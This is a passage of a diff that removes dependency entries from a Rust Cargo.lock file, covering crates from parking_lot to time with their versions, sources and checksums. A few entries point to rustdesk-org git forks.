-checksum = "38731fa859ef679f1aec66ca9562165926b442f298467f76f5990f431efe87dc"
-dependencies = [
- "serde",
- "serde_derive",
- "serde_json",
-]
-
-[[package]]
-name = "parking_lot"
-version = "0.11.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7d17b78036a60663b797adeaee46f5c9dfebb86948d1255007a1d6be0271ff99"
-dependencies = [
- "instant",
- "lock_api",
- "parking_lot_core 0.8.5",
-]
-
-[[package]]
-name = "parking_lot"
-version = "0.12.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "87f5ec2493a61ac0506c0f4199f99070cbe83857b0337006a30f3e6719b8ef58"
-dependencies = [
- "lock_api",
- "parking_lot_core 0.9.3",
-]
-
-[[package]]
-name = "parking_lot_core"
-version = "0.8.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d76e8e1493bcac0d2766c42737f34458f1c8c50c0d23bcb24ea953affb273216"
-dependencies = [
- "cfg-if",
- "instant",
- "libc",
- "redox_syscall",
- "smallvec",
- "winapi",
-]
-
-[[package]]
-name = "parking_lot_core"
-version = "0.9.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "09a279cbf25cb0757810394fbc1e359949b59e348145c643a939a525692e6929"
-dependencies = [
- "cfg-if",
- "libc",
- "redox_syscall",
- "smallvec",
- "windows-sys 0.36.1",
-]
-
-[[package]]
-name = "paste"
-version = "1.0.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0c520e05135d6e763148b6426a837e239041653ba7becd2e538c076c738025fc"
-
-[[package]]
-name = "peeking_take_while"
-version = "0.1.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "19b17cddbe7ec3f8bc800887bab5e717348c95ea2ca0b1bf0837fb964dc67099"
-
-[[package]]
-name = "pem"
-version = "1.0.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e9a3b09a20e374558580a4914d3b7d89bd61b954a5a5e1dcbea98753addb1947"
-dependencies = [
- "base64 0.13.0",
-]
-
-[[package]]
-name = "percent-encoding"
-version = "2.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d4fd5641d01c8f18a23da7b6fe29298ff4b55afcccdf78973b24cf3175fee32e"
-
-[[package]]
-name = "pin-project"
-version = "1.1.8"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1e2ec53ad785f4d35dac0adea7f7dc6f1bb277ad84a680c7afefeae05d1f5916"
-dependencies = [
- "pin-project-internal",
-]
-
-[[package]]
-name = "pin-project-internal"
-version = "1.1.8"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d56a66c0c55993aa927429d0f8a0abfd74f084e4d9c192cffed01e418d83eefb"
-dependencies = [
- "proc-macro2 1.0.93",
- "quote 1.0.38",
- "syn 2.0.96",
-]
-
-[[package]]
-name = "pin-project-lite"
-version = "0.2.16"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3b3cff922bd51709b605d9ead9aa71031d81447142d828eb4a6eba76fe619f9b"
-
-[[package]]
-name = "pin-utils"
-version = "0.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184"
-
-[[package]]
-name = "ping"
-version = "0.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "69044d1c00894fc1f43d9485aadb6ab6e68df90608fa52cf1074cda6420c6b76"
-dependencies = [
- "rand",
- "socket2 0.4.4",
- "thiserror",
-]
-
-[[package]]
-name = "pkg-config"
-version = "0.3.25"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1df8c4ec4b0627e53bdf214615ad287367e482558cf84b109250b37464dc03ae"
-
-[[package]]
-name = "ppv-lite86"
-version = "0.2.16"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "eb9f9e6e233e5c4a35559a617bf40a4ec447db2e84c20b55a6f83167b7e57872"
-
-[[package]]
-name = "proc-macro2"
-version = "0.4.30"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "cf3d2011ab5c909338f7887f4fc896d35932e29146c12c8d01da6b22a80ba759"
-dependencies = [
- "unicode-xid 0.1.0",
-]
-
-[[package]]
-name = "proc-macro2"
-version = "1.0.93"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "60946a68e5f9d28b0dc1c21bb8a97ee7d018a8b322fa57838ba31cc878e22d99"
-dependencies = [
- "unicode-ident",
-]
-
-[[package]]
-name = "protobuf"
-version = "3.7.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a3a7c64d9bf75b1b8d981124c14c179074e8caa7dfe7b6a12e6222ddcd0c8f72"
-dependencies = [
- "bytes",
- "once_cell",
- "protobuf-support",
- "thiserror",
-]
-
-[[package]]
-name = "protobuf-codegen"
-version = "3.7.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e26b833f144769a30e04b1db0146b2aaa53fd2fd83acf10a6b5f996606c18144"
-dependencies = [
- "anyhow",
- "once_cell",
- "protobuf",
- "protobuf-parse",
- "regex",
- "tempfile",
- "thiserror",
-]
-
-[[package]]
-name = "protobuf-parse"
-version = "3.7.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "322330e133eab455718444b4e033ebfac7c6528972c784fcde28d2cc783c6257"
-dependencies = [
- "anyhow",
- "indexmap 2.7.0",
- "log",
- "protobuf",
- "protobuf-support",
- "tempfile",
- "thiserror",
- "which",
-]
-
-[[package]]
-name = "protobuf-support"
-version = "3.7.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b088fd20b938a875ea00843b6faf48579462630015c3788d397ad6a786663252"
-dependencies = [
- "thiserror",
-]
-
-[[package]]
-name = "punycode"
-version = "0.4.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e9e1dcb320d6839f6edb64f7a4a59d39b30480d4d1765b56873f7c858538a5fe"
-
-[[package]]
-name = "quickcheck"
-version = "1.0.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "588f6378e4dd99458b60ec275b4477add41ce4fa9f64dcba6f15adccb19b50d6"
-dependencies = [
- "rand",
-]
-
-[[package]]
-name = "quote"
-version = "0.6.13"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6ce23b6b870e8f94f81fb0a363d65d86675884b34a09043c81e5562f11c1f8e1"
-dependencies = [
- "proc-macro2 0.4.30",
-]
-
-[[package]]
-name = "quote"
-version = "1.0.38"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0e4dccaaaf89514f546c693ddc140f729f958c247918a13380cccc6078391acc"
-dependencies = [
- "proc-macro2 1.0.93",
-]
-
-[[package]]
-name = "rand"
-version = "0.8.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404"
-dependencies = [
- "libc",
- "rand_chacha",
- "rand_core",
-]
-
-[[package]]
-name = "rand_chacha"
-version = "0.3.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88"
-dependencies = [
- "ppv-lite86",
- "rand_core",
-]
-
-[[package]]
-name = "rand_core"
-version = "0.6.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d34f1408f55294453790c48b2f1ebbb1c5b4b7563eb1f418bcfcfdbb06ebb4e7"
-dependencies = [
- "getrandom",
-]
-
-[[package]]
-name = "rayon"
-version = "1.10.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b418a60154510ca1a002a752ca9714984e21e4241e804d32555251faf8b78ffa"
-dependencies = [
- "either",
- "rayon-core",
-]
-
-[[package]]
-name = "rayon-core"
-version = "1.12.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1465873a3dfdaa8ae7cb14b4383657caab0b3e8a0aa9ae8e04b044854c8dfce2"
-dependencies = [
- "crossbeam-deque",
- "crossbeam-utils",
-]
-
-[[package]]
-name = "redox_syscall"
-version = "0.2.13"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "62f25bc4c7e55e0b0b7a1d43fb893f4fa1361d0abe38b9ce4f323c2adfe6ef42"
-dependencies = [
- "bitflags 1.3.2",
-]
-
-[[package]]
-name = "redox_users"
-version = "0.4.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b033d837a7cf162d7993aded9304e30a83213c648b6e389db233191f891e5c2b"
-dependencies = [
- "getrandom",
- "redox_syscall",
- "thiserror",
-]
-
-[[package]]
-name = "regex"
-version = "1.11.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b544ef1b4eac5dc2db33ea63606ae9ffcfac26c1416a2806ae0bf5f56b201191"
-dependencies = [
- "aho-corasick",
- "memchr",
- "regex-automata",
- "regex-syntax",
-]
-
-[[package]]
-name = "regex-automata"
-version = "0.4.9"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "809e8dc61f6de73b46c85f4c96486310fe304c434cfa43669d7b40f711150908"
-dependencies = [
- "aho-corasick",
- "memchr",
- "regex-syntax",
-]
-
-[[package]]
-name = "regex-syntax"
-version = "0.8.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2b15c43186be67a4fd63bee50d0303afffcef381492ebe2c5d87f324e1b8815c"
-
-[[package]]
-name = "remove_dir_all"
-version = "0.5.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3acd125665422973a33ac9d3dd2df85edad0f4ae9b00dafb1a05e43a9f5ef8e7"
-dependencies = [
- "winapi",
-]
-
-[[package]]
-name = "reqwest"
-version = "0.11.23"
-source = "git+https://github.com/rustdesk-org/reqwest#9cb758c9fb2f4edc62eb790acfd45a6a3da21ed3"
-dependencies = [
- "async-compression",
- "base64 0.21.7",
- "bytes",
- "encoding_rs",
- "futures-core",
- "futures-util",
- "h2",
- "http",
- "http-body",
- "hyper",
- "hyper-rustls",
- "hyper-tls",
- "ipnet",
- "js-sys",
- "log",
- "mime",
- "native-tls",
- "once_cell",
- "percent-encoding",
- "pin-project-lite",
- "rustls 0.21.12",
- "rustls-native-certs 0.6.2",
- "rustls-pemfile 1.0.0",
- "serde",
- "serde_json",
- "serde_urlencoded",
- "sync_wrapper",
- "system-configuration",
- "tokio",
- "tokio-native-tls",
- "tokio-rustls 0.24.1",
- "tokio-socks 0.5.2",
- "tokio-util",
- "tower-service",
- "url",
- "wasm-bindgen",
- "wasm-bindgen-futures",
- "web-sys",
- "webpki-roots 0.25.4",
- "winreg 0.50.0",
-]
-
-[[package]]
-name = "ring"
-version = "0.16.20"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3053cf52e236a3ed746dfc745aa9cacf1b791d846bdaf412f60a8d7d6e17c8fc"
-dependencies = [
- "cc",
- "libc",
- "once_cell",
- "spin 0.5.2",
- "untrusted 0.7.1",
- "web-sys",
- "winapi",
-]
-
-[[package]]
-name = "ring"
-version = "0.17.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9babe80d5c16becf6594aa32ad2be8fe08498e7ae60b77de8df700e67f191d7e"
-dependencies = [
- "cc",
- "getrandom",
- "libc",
- "spin 0.9.3",
- "untrusted 0.9.0",
- "windows-sys 0.48.0",
-]
-
-[[package]]
-name = "rust-ini"
-version = "0.18.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f6d5f2436026b4f6e79dc829837d467cc7e9a55ee40e750d716713540715a2df"
-dependencies = [
- "cfg-if",
- "ordered-multimap",
-]
-
-[[package]]
-name = "rustc-demangle"
-version = "0.1.24"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "719b953e2095829ee67db738b3bfa9fa368c94900df327b3f07fe6e794d2fe1f"
-
-[[package]]
-name = "rustc-hash"
-version = "1.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "08d43f7aa6b08d49f382cde6a7982047c3426db949b1424bc4b7ec9ae12c6ce2"
-
-[[package]]
-name = "rustls"
-version = "0.20.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4fbfeb8d0ddb84706bc597a5574ab8912817c52a397f819e5b614e2265206921"
-dependencies = [
- "log",
- "ring 0.16.20",
- "sct",
- "webpki",
-]
-
-[[package]]
-name = "rustls"
-version = "0.21.12"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3f56a14d1f48b391359b22f731fd4bd7e43c97f3c50eee276f3aa09c94784d3e"
-dependencies = [
- "log",
- "ring 0.17.3",
- "rustls-webpki 0.101.7",
- "sct",
-]
-
-[[package]]
-name = "rustls"
-version = "0.23.21"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8f287924602bf649d949c63dc8ac8b235fa5387d394020705b80c4eb597ce5b8"
-dependencies = [
- "log",
- "once_cell",
- "ring 0.17.3",
- "rustls-pki-types",
- "rustls-webpki 0.102.8",
- "subtle",
- "zeroize",
-]
-
-[[package]]
-name = "rustls-native-certs"
-version = "0.6.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0167bac7a9f490495f3c33013e7722b53cb087ecbe082fb0c6387c96f634ea50"
-dependencies = [
- "openssl-probe",
- "rustls-pemfile 1.0.0",
- "schannel",
- "security-framework",
-]
-
-[[package]]
-name = "rustls-native-certs"
-version = "0.7.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e5bfb394eeed242e909609f56089eecfe5fda225042e8b171791b9c95f5931e5"
-dependencies = [
- "openssl-probe",
- "rustls-pemfile 2.2.0",
- "rustls-pki-types",
- "schannel",
- "security-framework",
-]
-
-[[package]]
-name = "rustls-pemfile"
-version = "1.0.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e7522c9de787ff061458fe9a829dc790a3f5b22dc571694fc5883f448b94d9a9"
-dependencies = [
- "base64 0.13.0",
-]
-
-[[package]]
-name = "rustls-pemfile"
-version = "2.2.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "dce314e5fee3f39953d46bb63bb8a46d40c2f8fb7cc5a3b6cab2bde9721d6e50"
-dependencies = [
- "rustls-pki-types",
-]
-
-[[package]]
-name = "rustls-pki-types"
-version = "1.10.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d2bf47e6ff922db3825eb750c4e2ff784c6ff8fb9e13046ef6a1d1c5401b0b37"
-
-[[package]]
-name = "rustls-platform-verifier"
-version = "0.3.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "afbb878bdfdf63a336a5e63561b1835e7a8c91524f51621db870169eac84b490"
-dependencies = [
- "core-foundation",
- "core-foundation-sys",
- "jni",
- "log",
- "once_cell",
- "rustls 0.23.21",
- "rustls-native-certs 0.7.3",
- "rustls-platform-verifier-android",
- "rustls-webpki 0.102.8",
- "security-framework",
- "security-framework-sys",
- "webpki-roots 0.26.7",
- "winapi",
-]
-
-[[package]]
-name = "rustls-platform-verifier-android"
-version = "0.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f87165f0995f63a9fbeea62b64d10b4d9d8e78ec6d7d51fb2125fda7bb36788f"
-
-[[package]]
-name = "rustls-webpki"
-version = "0.101.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8b6275d1ee7a1cd780b64aca7726599a1dbc893b1e64144529e55c3c2f745765"
-dependencies = [
- "ring 0.17.3",
- "untrusted 0.9.0",
-]
-
-[[package]]
-name = "rustls-webpki"
-version = "0.102.8"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "64ca1bc8749bd4cf37b5ce386cc146580777b4e8572c7b97baf22c83f444bee9"
-dependencies = [
- "ring 0.17.3",
- "rustls-pki-types",
- "untrusted 0.9.0",
-]
-
-[[package]]
-name = "rustversion"
-version = "1.0.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f2cc38e8fa666e2de3c4aba7edeb5ffc5246c1c2ed0e3d17e560aeeba736b23f"
-
-[[package]]
-name = "ryu"
-version = "1.0.9"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "73b4b750c782965c211b42f022f59af1fbceabdd026623714f104152f1ec149f"
-
-[[package]]
-name = "same-file"
-version = "1.0.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "93fc1dc3aaa9bfed95e02e6eadabb4baf7e3078b0bd1b4d7b6b0b68378900502"
-dependencies = [
- "winapi-util",
-]
-
-[[package]]
-name = "schannel"
-version = "0.1.27"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1f29ebaa345f945cec9fbbc532eb307f0fdad8161f281b6369539c8d84876b3d"
-dependencies = [
- "windows-sys 0.59.0",
-]
-
-[[package]]
-name = "scopeguard"
-version = "1.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d29ab0c6d3fc0ee92fe66e2d99f700eab17a8d57d1c1d3b748380fb20baa78cd"
-
-[[package]]
-name = "sct"
-version = "0.7.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d53dcdb7c9f8158937a7981b48accfd39a43af418591a5d008c7b22b5e1b7ca4"
-dependencies = [
- "ring 0.16.20",
- "untrusted 0.7.1",
-]
-
-[[package]]
-name = "security-framework"
-version = "2.11.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "897b2245f0b511c87893af39b033e5ca9cce68824c4d7e7630b5a1d339658d02"
-dependencies = [
- "bitflags 2.7.0",
- "core-foundation",
- "core-foundation-sys",
- "libc",
- "num-bigint",
- "security-framework-sys",
-]
-
-[[package]]
-name = "security-framework-sys"
-version = "2.14.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "49db231d56a190491cb4aeda9527f1ad45345af50b0851622a7adb8c03b01c32"
-dependencies = [
- "core-foundation-sys",
- "libc",
-]
-
-[[package]]
-name = "serde"
-version = "1.0.217"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "02fc4265df13d6fa1d00ecff087228cc0a2b5f3c0e87e258d8b94a156e984c70"
-dependencies = [
- "serde_derive",
-]
-
-[[package]]
-name = "serde_derive"
-version = "1.0.217"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5a9bf7cf98d04a2b28aead066b7496853d4779c9cc183c440dbac457641e19a0"
-dependencies = [
- "proc-macro2 1.0.93",
- "quote 1.0.38",
- "syn 2.0.96",
-]
-
-[[package]]
-name = "serde_json"
-version = "1.0.81"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9b7ce2b32a1aed03c558dc61a5cd328f15aff2dbc17daad8fb8af04d2100e15c"
-dependencies = [
- "itoa",
- "ryu",
- "serde",
-]
-
-[[package]]
-name = "serde_spanned"
-version = "0.6.8"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "87607cb1398ed59d48732e575a4c28a7a8ebf2454b964fe3f224f2afc07909e1"
-dependencies = [
- "serde",
-]
-
-[[package]]
-name = "serde_urlencoded"
-version = "0.7.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d3491c14715ca2294c4d6a88f15e84739788c1d030eed8c110436aafdaa2f3fd"
-dependencies = [
- "form_urlencoded",
- "itoa",
- "ryu",
- "serde",
-]
-
-[[package]]
-name = "sha-1"
-version = "0.10.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "028f48d513f9678cda28f6e4064755b3fbb2af6acd672f2c209b62323f7aea0f"
-dependencies = [
- "cfg-if",
- "cpufeatures",
- "digest",
-]
-
-[[package]]
-name = "sha2"
-version = "0.10.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "55deaec60f81eefe3cce0dc50bda92d6d8e88f2a27df7c5033b42afeb1ed2676"
-dependencies = [
- "cfg-if",
- "cpufeatures",
- "digest",
-]
-
-[[package]]
-name = "shlex"
-version = "1.3.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0fda2ff0d084019ba4d7c6f371c95d8fd75ce3524c3cb8fb653a3023f6323e64"
-
-[[package]]
-name = "signal-hook-registry"
-version = "1.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e51e73328dc4ac0c7ccbda3a494dfa03df1de2f46018127f60c693f2648455b0"
-dependencies = [
- "libc",
-]
-
-[[package]]
-name = "signature"
-version = "1.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f054c6c1a6e95179d6f23ed974060dcefb2d9388bb7256900badad682c499de4"
-
-[[package]]
-name = "simple_asn1"
-version = "0.6.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4a762b1c38b9b990c694b9c2f8abe3372ce6a9ceaae6bca39cfc46e054f45745"
-dependencies = [
- "num-bigint",
- "num-traits",
- "thiserror",
- "time",
-]
-
-[[package]]
-name = "slab"
-version = "0.4.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "eb703cfe953bccee95685111adeedb76fabe4e97549a58d16f03ea7b9367bb32"
-
-[[package]]
-name = "smallvec"
-version = "1.8.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f2dd574626839106c320a323308629dcb1acfc96e32a8cba364ddc61ac23ee83"
-
-[[package]]
-name = "socket2"
-version = "0.3.19"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "122e570113d28d773067fab24266b66753f6ea915758651696b6e35e49f88d6e"
-dependencies = [
- "cfg-if",
- "libc",
- "winapi",
-]
-
-[[package]]
-name = "socket2"
-version = "0.4.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "66d72b759436ae32898a2af0a14218dbf55efde3feeb170eb623637db85ee1e0"
-dependencies = [
- "libc",
- "winapi",
-]
-
-[[package]]
-name = "socket2"
-version = "0.5.8"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c970269d99b64e60ec3bd6ad27270092a5394c4e309314b18ae3fe575695fbe8"
-dependencies = [
- "libc",
- "windows-sys 0.52.0",
-]
-
-[[package]]
-name = "sodiumoxide"
-version = "0.2.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e26be3acb6c2d9a7aac28482586a7856436af4cfe7100031d219de2d2ecb0028"
-dependencies = [
- "ed25519",
- "libc",
- "libsodium-sys",
- "serde",
-]
-
-[[package]]
-name = "spin"
-version = "0.5.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6e63cff320ae2c57904679ba7cb63280a3dc4613885beafb148ee7bf9aa9042d"
-
-[[package]]
-name = "spin"
-version = "0.9.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c530c2b0d0bf8b69304b39fe2001993e267461948b890cd037d8ad4293fa1a0d"
-dependencies = [
- "lock_api",
-]
-
-[[package]]
-name = "sqlformat"
-version = "0.1.8"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b4b7922be017ee70900be125523f38bdd644f4f06a1b16e8fa5a8ee8c34bffd4"
-dependencies = [
- "itertools",
- "nom 7.1.1",
- "unicode_categories",
-]
-
-[[package]]
-name = "sqlx"
-version = "0.6.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1f82cbe94f41641d6c410ded25bbf5097c240cefdf8e3b06d04198d0a96af6a4"
-dependencies = [
- "sqlx-core",
- "sqlx-macros",
-]
-
-[[package]]
-name = "sqlx-core"
-version = "0.6.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6b69bf218860335ddda60d6ce85ee39f6cf6e5630e300e19757d1de15886a093"
-dependencies = [
- "ahash",
- "atoi",
- "bitflags 1.3.2",
- "byteorder",
- "bytes",
- "chrono",
- "crc",
- "crossbeam-queue",
- "either",
- "event-listener",
- "flume",
- "futures-channel",
- "futures-core",
- "futures-executor",
- "futures-intrusive",
- "futures-util",
- "hashlink",
- "hex",
- "indexmap 1.8.1",
- "itoa",
- "libc",
- "libsqlite3-sys",
- "log",
- "memchr",
- "once_cell",
- "paste",
- "percent-encoding",
- "rustls 0.20.4",
- "rustls-pemfile 1.0.0",
- "serde",
- "serde_json",
- "sha2",
- "smallvec",
- "sqlformat",
- "sqlx-rt",
- "stringprep",
- "thiserror",
- "tokio-stream",
- "url",
- "webpki-roots 0.22.4",
-]
-
-[[package]]
-name = "sqlx-macros"
-version = "0.6.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f40c63177cf23d356b159b60acd27c54af7423f1736988502e36bae9a712118f"
-dependencies = [
- "dotenv",
- "either",
- "heck",
- "once_cell",
- "proc-macro2 1.0.93",
- "quote 1.0.38",
- "serde_json",
- "sha2",
- "sqlx-core",
- "sqlx-rt",
- "syn 1.0.93",
- "url",
-]
-
-[[package]]
-name = "sqlx-rt"
-version = "0.6.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "874e93a365a598dc3dadb197565952cb143ae4aa716f7bcc933a8d836f6bf89f"
-dependencies = [
- "once_cell",
- "tokio",
- "tokio-rustls 0.23.4",
-]
-
-[[package]]
-name = "static_assertions"
-version = "1.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a2eb9349b6444b326872e140eb1cf5e7c522154d69e7a0ffb0fb81c06b37543f"
-
-[[package]]
-name = "stringprep"
-version = "0.1.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8ee348cb74b87454fff4b551cbf727025810a004f88aeacae7f85b87f4e9a1c1"
-dependencies = [
- "unicode-bidi",
- "unicode-normalization",
-]
-
-[[package]]
-name = "strsim"
-version = "0.8.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8ea5119cdb4c55b55d432abb513a0429384878c15dde60cc77b1c99de1a95a6a"
-
-[[package]]
-name = "subtle"
-version = "2.6.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "13c2bddecc57b384dee18652358fb23172facb8a2c51ccc10d74c157bdea3292"
-
-[[package]]
-name = "syn"
-version = "0.15.44"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9ca4b3b69a77cbe1ffc9e198781b7acb0c7365a883670e8f1c1bc66fba79a5c5"
-dependencies = [
- "proc-macro2 0.4.30",
- "quote 0.6.13",
- "unicode-xid 0.1.0",
-]
-
-[[package]]
-name = "syn"
-version = "1.0.93"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "04066589568b72ec65f42d65a1a52436e954b168773148893c020269563decf2"
-dependencies = [
- "proc-macro2 1.0.93",
- "quote 1.0.38",
- "unicode-xid 0.2.3",
-]
-
-[[package]]
-name = "syn"
-version = "2.0.96"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d5d0adab1ae378d7f53bdebc67a39f1f151407ef230f0ce2883572f5d8985c80"
-dependencies = [
- "proc-macro2 1.0.93",
- "quote 1.0.38",
- "unicode-ident",
-]
-
-[[package]]
-name = "sync_wrapper"
-version = "0.1.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2047c6ded9c721764247e62cd3b03c09ffc529b2ba5b10ec482ae507a4a70160"
-
-[[package]]
-name = "sysinfo"
-version = "0.29.10"
-source = "git+https://github.com/rustdesk-org/sysinfo?branch=rlim_max#90b1705d909a4902dbbbdea37ee64db17841077d"
-dependencies = [
- "cfg-if",
- "core-foundation-sys",
- "libc",
- "ntapi",
- "once_cell",
- "rayon",
- "windows",
-]
-
-[[package]]
-name = "system-configuration"
-version = "0.5.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ba3a3adc5c275d719af8cb4272ea1c4a6d668a777f37e115f6d11ddbc1c8e0e7"
-dependencies = [
- "bitflags 1.3.2",
- "core-foundation",
- "system-configuration-sys",
-]
-
-[[package]]
-name = "system-configuration-sys"
-version = "0.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a75fb188eb626b924683e3b95e3a48e63551fcfb51949de2f06a9d91dbee93c9"
-dependencies = [
- "core-foundation-sys",
- "libc",
-]
-
-[[package]]
-name = "tempfile"
-version = "3.3.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5cdb1ef4eaeeaddc8fbd371e5017057064af0911902ef36b39801f67cc6d79e4"
-dependencies = [
- "cfg-if",
- "fastrand",
- "libc",
- "redox_syscall",
- "remove_dir_all",
- "winapi",
-]
-
-[[package]]
-name = "termcolor"
-version = "1.1.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bab24d30b911b2376f3a13cc2cd443142f0c81dda04c118693e35b3835757755"
-dependencies = [
- "winapi-util",
-]
-
-[[package]]
-name = "textwrap"
-version = "0.11.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d326610f408c7a4eb6f51c37c330e496b08506c9457c9d34287ecc38809fb060"
-dependencies = [
- "unicode-width",
-]
-
-[[package]]
-name = "thiserror"
-version = "1.0.31"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bd829fe32373d27f76265620b5309d0340cb8550f523c1dda251d6298069069a"
-dependencies = [
- "thiserror-impl",
-]
-
-[[package]]
-name = "thiserror-impl"
-version = "1.0.31"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0396bc89e626244658bef819e22d0cc459e795a5ebe878e6ec336d1674a8d79a"
-dependencies = [
- "proc-macro2 1.0.93",
- "quote 1.0.38",
- "syn 1.0.93",
-]
-
-[[package]]
-name = "time"
-version = "0.3.9"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c2702e08a7a860f005826c6815dcac101b19b5eb330c27fe4a5928fec1d20ddd"
